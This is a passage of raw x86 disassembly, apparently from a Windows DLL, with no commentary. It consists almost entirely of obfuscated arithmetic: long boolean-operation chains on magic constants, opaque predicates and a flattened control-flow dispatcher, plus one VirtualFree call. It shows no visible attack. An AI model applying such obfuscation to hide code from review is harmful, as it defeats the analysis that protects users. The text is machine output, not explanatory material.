mov edx, esi
not edx
mov ecx, edx
and ecx, 0x657a1e74
mov eax, esi
and eax, 0x9a85e18b
or eax, ecx
mov edi, eax
xor edi, 0x46000
xor eax, 0x41401400
or eax, 0x2020036a
and eax, 0xe9e017eb
and edi, 0x41c6014
or edi, eax
mov ecx, edx
and ecx, 0x829cef0d
mov eax, esi
and esi, 0x7d6310f2
or esi, ecx
not esi
or esi, edx
or edx, 0xc9c01481
and edx, 0xe9e017eb
and eax, 0x12038800
or eax, edx
xor eax, edi
mov ecx, eax
xor ecx, 0x10230840
xor eax, 0x4d447010
and eax, 0x6f44f33a
and ecx, 0x90bb0cc5
or ecx, eax
mov eax, ecx
xor eax, 0x90bb0cc5
xor ecx, 0x6c049338
and ecx, 0x6c3f9bbc
mov edx, eax
and edx, 0x93c06443
or edx, ecx
xor edx, 0x115c8b4e
and eax, 0x7d6310f2
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1b4f2158
xor eax, 0xc99c20db
and eax, ecx
and ecx, 0xe4b0dea7
or ecx, edx
mov edi, ecx
xor edi, 0x12430100
or edi, 0xc99c20db
mov ebx, ecx
xor ecx, 0x400cc00
mov edx, edi
and edx, 0x6bae326d
and ecx, 0x1441cd00
or ecx, edx
mov edx, eax
not edx
or edi, edx
and edx, 0x6bae326d
and eax, 0x9451cd92
or eax, edx
xor eax, ecx
not edi
or edi, eax
xor ebx, 0xe4b0dea7
xor edi, esi
or ebx, esi
mov edx, dword [ebp - 0x18]
mov eax, edx
xor edi, 0xc99c20db
not ebx
or ebx, edi
mov dword [ebp - 0x1c], ebx
and eax, 0x124e8975
mov esi, dword [ebp - 0x14]
mov ecx, esi
and ecx, 0xedb1768a
or ecx, eax
mov eax, ecx
xor eax, 0x80806000
xor ecx, 0x8105
or ecx, 0x27480262
and ecx, 0x6758876f
and eax, 0x90866810
or eax, ecx
mov edi, edx
mov ecx, edx
and ecx, 0xfd9c9202
mov edx, esi
and esi, 0x2636dfd
or esi, ecx
xor esi, 0xb1b28cb1
or esi, edi
mov ecx, edi
mov edi, esi
or ecx, 0x4010850d
and ecx, 0x6758876f
and edx, 0x8211080
or edx, ecx
xor edx, eax
mov ebx, edx
xor ebx, 0x2f6912e2
mov esi, edx
xor esi, 0xd096ed1d
mov dword [ebp - 0x14], esi
mov eax, ebx
and eax, 0x7f870ff7
mov ecx, esi
and ecx, 0x8078f008
or ecx, eax
xor ecx, 0x33a91144
mov eax, esi
and eax, 0x4c2e1eb3
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
xor esi, edi
and esi, ecx
and eax, 0x29a3d1b7
and ecx, 0xd65c2e48
or ecx, eax
xor ecx, edi
xor ecx, 0xd65c2e48
or ecx, esi
mov edi, ecx
not edi
mov eax, edi
and eax, 0x51000485
mov esi, ecx
and esi, 0x4bc1810
or esi, eax
mov eax, esi
xor eax, 0x300000
xor esi, 0x10436526
and esi, 0x14cf7d36
and eax, 0x41300081
or eax, esi
or edi, 0x148c1c14
and edi, 0x14cf7d36
and ecx, 0xaa008248
or ecx, edi
xor ecx, eax
xor edx, 0x2f6912e3
and edx, ebx
mov eax, dword [ebp - 0x14]
and eax, 0xfffffffe
and ebx, 1
or ebx, eax
mov edi, edx
not edi
mov eax, edi
and eax, 0x54ad923e
and edx, 0xab526dc1
or edx, eax
mov eax, ebx
not eax
or edi, eax
and eax, 0x54ad923e
and ebx, 0xab526dc1
or ebx, eax
xor ebx, edx
not edi
or edi, ebx
mov edx, edi
not edx
mov eax, edi
and eax, 0xa3f9cf0c
and edx, 0x5c0630f3
or edx, eax
mov eax, ecx
xor eax, 0xe66dfdd8
xor edx, 0xa3f9cf0c
xor edi, edx
and edi, edx
xor ecx, 0x19920227
mov edx, ecx
and ecx, 0x498d2735
and eax, 0xb672d8ca
or eax, ecx
mov ecx, edi
not ecx
or edx, ecx
not edx
and ecx, 0x498d2735
and edi, 0xb672d8ca
or edi, ecx
xor edi, eax
or edi, edx
mov eax, edi
not eax
mov ecx, eax
and ecx, 0xc232c029
mov esi, edi
and esi, 0x3dcd3fd6
or esi, ecx
mov ecx, esi
xor ecx, 0x1491010
xor esi, 0xc232c029
mov edx, esi
and edx, 0x58242c04
and ecx, 0x349d010
or ecx, edx
mov edx, eax
and edx, edi
mov ebx, edx
not ebx
or esi, ebx
and ebx, 0x58242c04
and edx, 0x349d010
or edx, ebx
xor edx, ecx
not esi
or esi, edx
not esi
or esi, 0xa49203eb
and edi, 0x8536fa1e
mov ecx, eax
and ecx, 0x7ac905e1
or ecx, edi
xor ecx, 0xde5b060a
and eax, 0x5b6dfc14
or eax, ecx
mov ecx, eax
not ecx
and ecx, esi
not esi
mov edx, esi
xor edx, eax
and edx, esi
and eax, esi
or eax, ecx
or eax, edx
mov esi, eax
xor esi, 0x25882249
mov ecx, eax
xor ecx, 0x392ca01d
or esi, 0x18368196
mov edx, eax
xor edx, 0x3480000
or ecx, 0x44811a40
xor eax, 8
and esi, 0x5cb79bd6
and edx, 0xa3480021
or edx, esi
and ecx, 0x5cb79bd6
and eax, 0x6408
or eax, ecx
xor eax, edx
mov esi, eax
mov edi, eax
xor edi, 0xe7c91a61
xor eax, 0x809effc2
and eax, edi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x76e40a0c
and eax, 0x891bf5f3
or eax, edx
xor esi, 0x1836e59e
or edi, 0x98a81a5c
or ecx, edi
and edi, 0x76e40a0c
and esi, 0x113e5a3
or esi, edi
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
xor eax, 0x98a81a5c
mov edx, dword [ebp - 0x1c]
mov esi, edx
not esi
mov edi, esi
and edi, 0x5fbda41a
xor esi, eax
mov ebx, eax
or eax, edx
and esi, edx
and edx, 0xa0425be5
or edx, edi
xor ecx, 0x440184a3
and ebx, 0xb3566350
and ecx, 0x4ca99caf
or ecx, ebx
mov edi, edx
xor edi, 0x405041
xor edx, 0x5fbda41a
mov ebx, edx
and ebx, 0xe5af0fb4
and edi, 0x1a50f04b
or edi, ebx
mov ebx, ecx
xor ebx, 0x800900b
xor ecx, 0xb3566350
or edx, ecx
and ecx, 0xe5af0fb4
and ebx, 0x1a50f04b
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
not eax
or esi, eax
mov eax, esi
and esi, edx
not edx
not eax
mov ecx, edx
xor ecx, eax
and ecx, edx
and eax, edx
or eax, esi
or eax, ecx
mov ecx, eax
not ecx
mov esi, ecx
mov dword [ebp - 0x14], ecx
mov edi, ecx
and esi, 0x4a06458c
mov edx, eax
and edx, 0x24012043
or edx, esi
and edi, 0x62a308a0
mov esi, eax
and esi, 0x440646
or esi, edi
mov ebx, esi
xor ebx, 0x40440
xor esi, 0x7930f889
and esi, 0x7970fa8f
and ebx, 0x2870460
or ebx, esi
mov edi, eax
xor edi, 0x6e0765cf
and edi, eax
mov ecx, dword [ebp - 0x14]
or ecx, 0x60600a86
and ecx, 0x7970fa8f
mov esi, eax
and eax, 0x84080110
or eax, ecx
xor eax, ebx
not eax
mov ecx, dword [ebp - 0x14]
or eax, ecx
xor edx, 0x24012043
or edi, edx
mov edx, edi
and edx, 0x2100ccc
xor edi, 0xa01000
xor edx, 0x20004cc
and edi, 0xa03002
or edi, edx
mov edx, edi
xor edx, 0xa01000
or edx, 0xb44a8131
xor edi, 0x100448
and edi, 0x10244a
and edx, 0xb6ea99b5
or edx, edi
mov edi, edx
xor edi, 0x2801880
xor edx, 0x49142002
and ecx, 0xd84f0331
and esi, 0x2500c000
or esi, ecx
mov ecx, esi
xor ecx, 0x24004000
or ecx, 0x2048
xor esi, 0x90420030
and esi, 0x91428030
and ecx, 0x6c0d6349
or ecx, esi
mov esi, ecx
xor esi, 0x94300
xor ecx, 0x1320026
and edx, 0x6d362027
and edi, 0x2801cc8
or edi, edx
and ecx, 0x6d362027
and esi, 0x9049c310
or esi, ecx
xor esi, edi
mov ecx, esi
xor ecx, 0xfd4fc331
xor esi, 0x2b03cce
mov edx, esi
and edx, ecx
mov edi, ecx
and edi, 0xf8348d51
and esi, 0x7cb72ae
or esi, edi
mov edi, edx
not edi
or ecx, edi
and edi, 0xf8348d51
and edx, 0x7cb72ae
or edx, edi
xor edx, esi
not ecx
or ecx, edx
mov esi, ecx
not esi
xor ecx, 0x9d18f119
mov edx, ecx
and edx, 0x9d18f119
and esi, 0x62e70ee6
or esi, edx
not esi
or esi, ecx
mov edi, eax
not edi
mov edx, eax
and edx, 0xdcf11435
mov ecx, edi
and ecx, 0x230eebca
or ecx, edx
mov edx, esi
not edx
xor ecx, 0x230eebca
or ecx, esi
mov ebx, esi
and ebx, 0x8802100a
xor esi, 0x6738c1a5
and esi, edx
and edx, 0x10c52e50
or edx, ebx
mov ebx, eax
xor eax, 0x6738c1a5
and eax, edi
and ebx, 0x1f736812
and edi, 0xe08c97ed
or edi, ebx
mov ebx, edi
xor ebx, 0xe08c97ed
xor edi, 0x87b45648
and edi, ebx
or eax, edi
mov edi, edx
xor edi, 0x10852010
xor edx, 0xef3ad1af
mov ebx, edx
and ebx, 0xa9408f64
and edi, 0x1087301a
or edi, ebx
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0xa9408f64
and esi, 0x56bf709b
or esi, ebx
xor esi, edi
mov edi, ecx
not edi
not edx
or edx, esi
xor edx, eax
mov eax, ecx
and eax, 0xdcc6dbfc
xor ecx, 0xb393a632
and ecx, edi
and edi, 0x23392403
or edi, eax
mov eax, edi
xor eax, 0x23392403
mov dword [ebp - 0x14], eax
xor edi, 0x90aa8231
and edi, eax
or ecx, edi
mov edi, edx
mov ebx, edx
xor ebx, 0x4c6c59cd
and ebx, edx
mov eax, edx
not eax
or edi, 0xb393a632
mov esi, edi
and esi, 0x43bd97ec
mov edx, eax
and edx, 0xc404801
or edx, esi
mov esi, ebx
not esi
or edi, esi
and esi, 0x43bd97ec
and ebx, 0xbc426813
or ebx, esi
xor ebx, edx
not edi
or edi, ebx
mov ebx, edi
xor ebx, edi
not ebx
and ebx, ecx
xor ebx, edi
or eax, dword [ebp - 0x14]
mov ecx, eax
not ecx
mov edx, ebx
not edx
mov esi, edx
and esi, 0x20d5af75
and ebx, 0xdf2a508a
or ebx, esi
or edx, eax
and eax, 0x20d5af75
and ecx, 0xdf2a508a
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov edi, edx
not edi
mov eax, edx
and eax, 0x3831c9ce
mov ecx, edi
and ecx, 0xc7ce3631
or ecx, eax
mov ebx, ecx
xor ebx, 0xc74e2010
xor ecx, 0x2001c88e
and ecx, 0x2081deaf
and ebx, 0xdf7e2150
or ebx, ecx
mov ecx, ebx
xor ecx, 0xbd992fb6
xor ebx, 0xdf7e2150
and ebx, ecx
and edx, 0xb6a7cd0
mov ecx, edi
and ecx, 0xf495832f
or ecx, edx
xor ecx, 0x96728dc9
and edi, 0x9d18f119
or edi, ecx
mov ecx, edi
and ecx, 0x1ebe529b
mov eax, edi
not eax
mov dword [ebp - 0x18], eax
and eax, 0xe141ad64
or eax, ecx
mov dword [ebp - 0x14], eax
mov ecx, ebx
not ecx
mov dword [ebp - 0x1c], ecx
mov esi, ebx
or esi, 0x8981e6e9
mov edx, esi
and edx, 0x5f47b6f0
and ecx, 0x20380906
or ecx, edx
mov edx, ebx
xor edx, 0x767e1916
and edx, ebx
mov eax, edx
not eax
or esi, eax
and eax, 0x5f47b6f0
and edx, 0xa0b8490f
or edx, eax
xor edx, ecx
not esi
or esi, edx
mov eax, dword [ebp - 0x14]
mov edx, eax
xor edx, 0xe141ad64
xor eax, 0x1ebe529b
mov dword [ebp - 0x14], eax
or eax, 0x8018280
and eax, 0x3c4b8a90
mov ecx, edx
and ecx, 0x42341106
or ecx, eax
or edi, 0x344a0810
and edi, 0x3c4b8a90
mov eax, dword [ebp - 0x18]
and eax, 0x81806469
or eax, edi
xor eax, ecx
mov edi, eax
xor edi, eax
not edi
and edi, esi
xor edi, eax
mov eax, ebx
and eax, 0xa23893e
mov ecx, dword [ebp - 0x1c]
and ecx, 0xf5dc76c1
or ecx, eax
mov eax, dword [ebp - 0x14]
or ebx, eax
and eax, 0xa23893e
and edx, 0xf5dc76c1
or edx, eax
xor edx, ecx
not ebx
or ebx, edx
mov edx, ebx
not edx
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x586b179c
and edi, 0xa794e863
or edi, eax
or ecx, ebx
and ebx, 0x586b179c
and edx, 0xa794e863
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0x500afe29
and eax, ecx
mov esi, edx
and esi, 0xf29112ee
and ecx, 0xd6eed11
or ecx, esi
xor ecx, 0xe4c2269
or ecx, edx
and edx, 0x500afe29
or eax, edx
mov edx, eax
xor edx, 0x200150
xor eax, 0x228
and edx, 0x22cd50
and eax, 0x3000228
or eax, edx
mov edx, eax
xor edx, 0x3000228
xor eax, 0xec454005
mov esi, edx
xor esi, ecx
and esi, edx
and eax, 0xec45400d
and edx, 0x3228f70
or edx, eax
xor edx, ecx
xor edx, 0x13babff2
or edx, esi
mov ecx, edx
mov eax, edx
xor eax, 0xfcdd3087
and eax, edx
or edx, 0x322cf78
not ecx
mov esi, eax
not esi
mov edi, edx
and edi, 0x1465fc9c
and ecx, 0xe8980003
or ecx, edi
or edx, esi
and esi, 0x1465fc9c
and eax, 0xeb9a0363
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov edi, edx
not edi
mov eax, edi
or eax, 0x15080101
mov ecx, edx
or ecx, 0x8910002
and ecx, 0x1d990103
mov esi, edi
and esi, 0x80222678
or esi, ecx
and eax, 0x1d990103
mov ecx, edx
and ecx, 0x6244d884
or ecx, eax
xor ecx, esi
mov ebx, ecx
xor ebx, 0x6ad5d886
mov dword [ebp - 0x14], ebx
xor ecx, 0x952a2779
mov eax, ecx
mov dword [ebp - 0x18], ecx
and eax, 0x37b051b0
and ebx, 0xc84fae4f
or ebx, eax
xor ebx, 0x6fae2b94
mov esi, ebx
xor esi, ecx
and esi, ebx
and edi, 0x76ecd91
and edx, 0xf891326e
or edx, edi
mov edi, edx
xor edi, 0xf891326e
xor edx, 0x40ac190
and edx, 0xc0af1b0
mov eax, edi
and eax, 0xf3f50e4f
or eax, edx
xor eax, 0xabeb746b
and edi, 0xa7e185db
or edi, eax
mov ebx, esi
not ebx
mov eax, ebx
and eax, 0x21db9221
mov edx, esi
and edx, 0xde246dde
or edx, eax
mov eax, edi
not eax
mov ecx, edi
and ecx, 0x20fd8666
mov dword [ebp - 0x1c], ecx
xor edi, 0xa7aed473
and edi, eax
mov ecx, eax
and ecx, 0xdf027999
add ecx, dword [ebp - 0x1c]
xor ecx, 0xdf027999
mov eax, ecx
and eax, 0x58512b8c
or edi, eax
mov eax, edx
xor eax, 0x10000
or eax, 0xa78e8433
mov dword [ebp - 0x1c], edx
xor edx, 0x40000880
and eax, 0xbf8fa53f
and edx, 0x40500a80
or edx, eax
or ebx, 0x1801210c
and ebx, 0xbf8fa53f
and esi, 0x205040
or esi, ebx
xor esi, edi
xor esi, edx
mov eax, dword [ebp - 0x1c]
xor eax, 0xde246dde
or ecx, eax
mov edx, esi
not edx
mov eax, edx
and eax, 0x7147e14c
and esi, 0x8eb81eb3
or esi, eax
xor esi, ecx
xor esi, 0x8eb81eb3
or edx, ecx
not edx
or edx, esi
mov eax, dword [ebp - 0x18]
and eax, 0x4048230
mov edi, dword [ebp - 0x14]
mov esi, edi
and esi, 0xfbfb7dcf
or esi, eax
mov eax, esi
xor eax, 0xfbfb7dcf
mov ecx, esi
xor ecx, 0xcfdd1a1e
and ecx, eax
and edi, 0x342667d1
or edi, ecx
mov dword [ebp - 0x14], edx
xor edi, 0x342667d1
xor esi, 0x4008210
and esi, 0xce9a969e
and eax, 0x31656961
or eax, esi
mov ecx, eax
xor ecx, 0xcc821294
xor eax, 0x31604861
and eax, 0x3378cc6b
and ecx, 0xcc873394
or ecx, eax
xor ecx, 0xcc873394
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x7e56c9cb
and esi, 0x81a93634
or esi, ecx
mov eax, edx
xor eax, 0x581e7a24
xor edx, 0xa44480f3
and edx, eax
mov ecx, eax
mov dword [ebp - 0x1c], eax
mov ebx, edx
not ebx
mov eax, ebx
and eax, 0xc3f1e31a
and edx, 0x3c0e1ce5
or edx, eax
mov edi, dword [ebp - 0x14]
xor edi, 0xa7e185db
mov dword [ebp - 0x14], edi
mov eax, ecx
or eax, 0x3a50528
or ebx, eax
and eax, 0xc3f1e31a
mov ecx, edi
and ecx, 0x3c0a18c5
or ecx, eax
xor ecx, edx
not ebx
or ebx, ecx
mov edx, esi
xor edx, 0x7e56c9cb
mov dword [ebp - 0x18], edx
or edx, 0xfc5afad7
mov ecx, esi
xor ecx, 0xa00400
mov eax, edx
and eax, 0xeb05fa6a
and ecx, 0xa00500
or ecx, eax
mov edi, esi
xor esi, 0x7df3cce3
and esi, dword [ebp - 0x18]
mov eax, esi
not eax
or edx, eax
and eax, 0xeb05fa6a
and esi, 0x14fa0595
or esi, eax
xor esi, ecx
not edx
or edx, esi
xor edx, ebx
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0x1e594f46
mov esi, dword [ebp - 0x1c]
and esi, 0xe1a6b0b9
or esi, eax
xor edi, 0x81a03030
mov eax, dword [ebp - 0x18]
or ecx, eax
and eax, 0x1e594f46
and edi, 0xe1a6b0b9
or edi, eax
xor edi, esi
not ecx
or ecx, edi
mov esi, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x25235ae7
and edx, 0xdadca518
or edx, ecx
xor edx, esi
xor edx, 0xdadca518
or eax, esi
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xe1d1af5e
and ecx, eax
and eax, 0x1e2e50a1
or eax, edx
mov edx, eax
xor edx, 0x1e0a10a1
xor eax, 0xe1d1af5e
mov esi, ecx
not esi
mov edi, eax
and edi, 0x81f4ee44
and edx, 0x7e0b11bb
or edx, edi
or eax, esi
and esi, 0x81f4ee44
and ecx, 0x7e0b11bb
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov esi, eax
or esi, 0x4604011a
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x19c9de25
and ecx, eax
mov edi, ecx
not edi
and esi, 0x5f045f3f
and edx, 0xc98000
or edx, esi
or eax, edi
and edi, 0x5f045f3f
and ecx, 0xa0fba0c0
or ecx, edi
xor ecx, edx
not eax
or eax, ecx
not ecx
and ecx, 0xe63621da
and eax, 0x19c9de25
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, eax
and edx, 0x63fe8a42
and eax, 0x9c0175bd
or eax, edx
mov edx, eax
xor edx, 0x14004004
xor eax, 0x63fe8a42
mov esi, ecx
not esi
mov edi, eax
and edi, 0xe875bff9
and edx, 0x178a4006
or edx, edi
or eax, esi
and esi, 0xe875bff9
and ecx, 0x178a4006
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xcba124d9
and eax, 0x345edb26
or eax, edx
xor eax, 0xcba124d9
xor ecx, eax
test ecx, eax
sete dl
setne cl
cmp dword [0x10045904], 0xa
setge al
setl ch
mov ah, cl
inc ah
mov bl, ah
and bl, ch
and ah, al
and al, cl
or bl, al
xor bl, 1
or bl, ch
xor bl, 1
mov dh, cl
and dh, ch
or dh, ah
or bl, dh
mov ah, dh
xor ah, 1
and dh, dl
and dl, ch
or ch, cl
and cl, ah
or dh, cl
xor ah, dh
and ah, dh
or dl, al
xor dl, 1
mov al, ch
xor al, dl
or dl, ch
xor dl, 1
or dl, al
mov al, dl
xor al, 1
mov ecx, eax
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov al, cl
xor cl, ah
xor ah, 1
xor al, 1
or al, ah
xor al, 1
or cl, al
mov eax, ecx
xor al, 1
mov ch, bl
mov bh, bl
mov dh, bl
mov ah, cl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
xor ah, 1
mov dl, ah
xor dl, al
mov byte [ebp - 0x14], dl
or ah, al
mov dl, al
or cl, bl
mov al, bl
xor al, dl
or dl, bl
xor dl, 1
or dl, al
mov byte [ebp - 0x18], dl
mov dl, al
and dl, bl
xor bl, 1
and ch, bl
xor ch, 1
xor bh, ch
mov al, dh
or al, ch
xor al, 1
or al, bh
mov bh, al
xor bh, 1
mov dh, bh
and dh, al
xor dh, 1
or dh, bh
xor dh, 1
or dh, al
mov al, dh
xor al, 1
or ch, bl
mov bl, ch
xor bl, 1
xor ah, 1
or ah, byte [ebp - 0x14]
mov bh, al
or bh, bl
and bl, dh
xor dh, ch
xor bh, 1
or bh, dh
xor bh, 1
and ch, al
or ch, bl
mov al, ch
xor al, bh
xor al, 1
mov dh, al
and dh, bh
or ch, bh
xor dh, 1
or dh, al
mov al, ah
xor al, 1
xor dh, 1
or dh, ch
and ah, al
xor ah, 1
mov ch, ah
xor ch, al
or ah, al
xor ah, 1
or ah, ch
mov al, ah
and ah, dh
xor dh, 1
xor al, 1
and al, dh
or ah, al
xor cl, 1
or dl, cl
mov dh, byte [ebp - 0x18]
mov al, dh
xor al, 1
mov ch, al
mov cl, dl
or al, dl
xor dl, 1
and ch, dl
and cl, dh
or cl, ch
xor dl, dh
xor al, 1
or al, dl
xor cl, 1
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, 1
mov ch, ah
xor ch, 1
mov dl, ah
and dl, al
and al, cl
xor al, 1
mov dh, al
xor dh, cl
or al, cl
and cl, ch
or dl, cl
xor al, 1
or al, dh
xor dl, 1
or dl, ch
and ch, al
xor al, 1
and al, ah
xor dl, 1
or al, ch
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0xb5e98446
mov esi, 0x853653e
cmovne eax, esi
test cl, 1
cmove eax, esi
test dl, 1
mov ecx, 0xb5e98446
cmove eax, ecx
jmp 0x1000f9b0
mov eax, dword [ebp - 0x40]
push 0x8000
push 0
push dword [eax]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [0x10045900]
lea edi, [eax + 1]
imul edi, eax
mov edx, edi
not edx
mov ecx, edx
or ecx, 0x240444b1
mov esi, edi
mov eax, edi
or esi, 0x42d1210c
and esi, 0x66d565bd
mov edi, edx
and edi, 0x102a8840
or edi, esi
and ecx, 0x66d565bd
mov esi, eax
and esi, 0x89001202
or esi, ecx
xor esi, edi
mov ecx, esi
xor ecx, 0x4ac01304
xor esi, 0x142ac021
and ecx, 0x6ac41fd4
and esi, 0x953be02b
or esi, ecx
mov ecx, esi
xor ecx, 0x22001800
xor esi, 0x5006021
and esi, 0x4dc467f5
and ecx, 0xb23b980a
or ecx, esi
mov esi, eax
and esi, 0x99c9d885
mov edi, edx
and edi, 0x6636277a
or edi, esi
mov ebx, ecx
xor ebx, 0x2180800
mov esi, ecx
xor esi, 0x4dc467f5
xor ecx, 0x65c4bf4
and ecx, esi
and ebx, 0x4b982c01
or ebx, ecx
xor edi, 0x6636277a
or edi, edx
mov ecx, edi
not ecx
or esi, edi
and edi, 0xb467d3fe
and ecx, 0x4b982c01
or ecx, edi
xor ecx, ebx
mov ebx, ecx
not ebx
mov edi, ebx
and edi, 0x27c64f25
and ecx, 0xd839b0da
or ecx, edi
xor ecx, esi
xor ecx, 0xd839b0da
or ebx, esi
not ebx
or ebx, ecx
mov edi, ebx
xor edi, 0x44a111c1
xor ebx, 0x2082000
and ebx, 0x935e6a04
and edi, 0x6ca195fb
or edi, ebx
mov ecx, edi
xor ecx, 0x440820c1
xor edi, 0xb956ce3e
mov esi, edi
and esi, 0x2be35138
and ecx, 0xd41caec7
or ecx, esi
xor ecx, 0x2be35138
xor edi, ecx
and edi, ecx
and eax, 0x793306c4
and edx, 0x86ccf93b
or edx, eax
mov ecx, edx
xor ecx, 0x793306c4
xor edx, 0x86ccf93b
mov eax, edx
and eax, 0x53403935
mov esi, ecx
and esi, 0xacbfc6ca
or esi, eax
and ecx, 0x53403935
and edx, 0xacbfc6ca
or edx, ecx
xor edx, esi
mov ecx, edx
not ecx
mov eax, ecx
or eax, 0x80024484
mov esi, edx
or esi, 0x42640020
and esi, 0xc26644a4
and ecx, 0x2091bb0b
or ecx, esi
and eax, 0xc26644a4
and edx, 0x1d080050
or edx, eax
xor edx, ecx
mov ecx, edx
xor ecx, 0x53080060
xor edx, 0xa093ff8f
mov eax, edx
and eax, 0xce5799b
and ecx, 0xf31a8664
or ecx, eax
xor ecx, 0xce5799b
xor edx, ecx
and edx, ecx
mov esi, edi
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0x98237825
and esi, 0x67dc87da
or esi, ecx
mov ecx, esi
xor ecx, 0x67dc0380
xor esi, 0x98237825
mov dword [ebp - 0x14], esi
and esi, 0x1820b47e
and ecx, 0xe7df4b81
or ecx, esi
mov eax, edx
not eax
mov dword [ebp - 0x18], eax
mov esi, edx
and esi, 0x1820b47e
and eax, 0xe7df4b81
or eax, esi
xor eax, ecx
mov ecx, dword [ebp - 0x14]
or ecx, edx
not ecx
or ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, edi
xor ecx, 0xbb023968
and ecx, edi
and ebx, 0x2a021860
and edi, 0x91002108
or edi, ebx
mov ebx, edi
xor ebx, 0x81000008
xor edi, 0x6effdef7
mov eax, edi
and eax, 0x18a3f952
and ebx, 0xa3000028
or ebx, eax
mov eax, ecx
not eax
or edi, eax
and eax, 0x18a3f952
and ecx, 0xe75c06ad
or ecx, eax
xor ecx, ebx
not edi
or edi, ecx
mov ebx, edx
xor ebx, 0xbb023968
mov esi, dword [ebp - 0x18]
and ebx, esi
mov ecx, ebx
not ecx
mov eax, ecx
and eax, 0x8848d65f
and ebx, 0x77b729a0
or ebx, eax
or esi, 0xbb023968
or ecx, esi
and esi, 0x8848d65f
and edx, 0x44b50080
or edx, esi
xor edx, ebx
mov ebx, dword [ebp - 0x14]
mov esi, ebx
not esi
not ecx
or ecx, edx
xor ecx, edi
mov eax, ebx
and eax, 0x844300fa
xor ebx, 0xd4ffed71
and ebx, esi
and esi, 0x7bbcff05
or esi, eax
xor esi, 0x7bbcff05
mov eax, ecx
not eax
mov edx, esi
and edx, 0x2b00128e
or ebx, edx
or esi, eax
and eax, 0x2b00128e
and ecx, 0xd4ffed71
or ecx, eax
mov edi, ecx
xor edi, ecx
not edi
and edi, ebx
xor edi, ecx
mov ecx, esi
not ecx
mov eax, edi
not eax
mov edx, eax
and edx, 0x2893582c
and edi, 0xd76ca7d3
or edi, edx
or eax, esi
and esi, 0x2893582c
and ecx, 0xd76ca7d3
or ecx, esi
xor ecx, edi
not eax
or eax, ecx
mov edx, eax
mov edi, eax
mov ecx, eax
not ecx
and edx, 0x3a8f30fc
mov esi, ecx
and esi, 0xc570cf03
or esi, edx
mov edx, esi
xor edx, 0x88000c8
xor esi, 0x60c000
and esi, 0x68e000
and edx, 0xcc8000ca
or edx, esi
xor edx, 0xcc8000ca
or edx, 0x33171f35
mov esi, ecx
and esi, 0xcce8e0ca
and edi, 0x33171f35
or edi, esi
mov esi, edx
not esi
not edi
or edi, ecx
mov ebx, esi
xor ebx, edi
and ebx, esi
xor esi, edx
and esi, edi
xor esi, edx
or esi, ebx
mov edx, esi
not edx
mov edi, edx
and edi, 0x8420000
mov ebx, esi
and ebx, 0x20201108
or ebx, edi
xor ebx, 0x89524860
mov edi, edx
and edx, 0x40c8080
or edx, ebx
or edi, 0x28621108
and edi, 0xa9725968
and esi, 0x52812617
or esi, edi
xor esi, edx
mov ebx, esi
xor ebx, 0x1f798ebd
mov dword [ebp - 0x1c], ebx
mov edi, esi
xor edi, 0xe0867142
mov edx, edi
mov dword [ebp - 0x14], edi
and edx, 0x544889ba
xor esi, 0x4b310707
and esi, ebx
or esi, edx
mov edx, edi
and edx, 0x3df2b5af
mov edi, ebx
and edi, 0xc20d4a50
or edi, edx
mov edx, esi
not edx
mov ebx, edx
and ebx, 0x482bf6ed
and esi, 0xb7d40912
or esi, ebx
mov ebx, edi
xor ebx, 0x82040810
xor edi, 0x822b4ad
and edi, 0x482bf6ed
and ebx, 0xb7d40912
or ebx, edi
xor ebx, esi
xor edx, ebx
and edx, ebx
mov esi, eax
xor esi, 0xbec8a6af
and esi, eax
and ecx, 0x1840a42b
and eax, 0xa6880284
or eax, ecx
xor eax, 0xa6880284
or esi, eax
mov eax, esi
xor eax, 0x41375950
mov ecx, esi
xor ecx, 0x2e4002a7
and ecx, 0x6f5752e7
mov edi, eax
and edi, 0x90a8ad18
or edi, ecx
mov ecx, edi
xor ecx, 0x90a8ad18
xor edi, 0x4c6d384a
and edi, ecx
and eax, 0xdcc59552
or eax, edi
or ecx, 0x104888b8
xor esi, 0x144040
and esi, 0x2144044
and ecx, 0xb9ebbeb9
or ecx, esi
xor eax, 0x888d1ce8
xor ecx, 0xb9ebbeb9
or ecx, eax
mov ebx, ecx
not ebx
and ecx, 0x30265c61
and ebx, 0xcfd9a39e
or ebx, ecx
mov esi, edx
not esi
mov dword [ebp - 0x24], esi
mov eax, edx
or eax, 0x8c180828
and eax, 0xcd1a5828
mov ecx, esi
and ecx, 0x12a12242
or ecx, eax
mov eax, esi
or eax, 0x41025000
and eax, 0xcd1a5828
mov esi, edx
and esi, 0x20448595
or esi, eax
xor esi, ecx
mov eax, ebx
xor eax, 0xcfd9a39e
mov dword [ebp - 0x20], eax
xor ebx, 0x30265c61
and eax, 0xc04ef115
mov ecx, ebx
and ecx, 0x3fb10eea
or ecx, eax
mov eax, ecx
xor eax, 0x3fb10eea
mov dword [ebp - 0x28], eax
xor ecx, 0xc04ef115
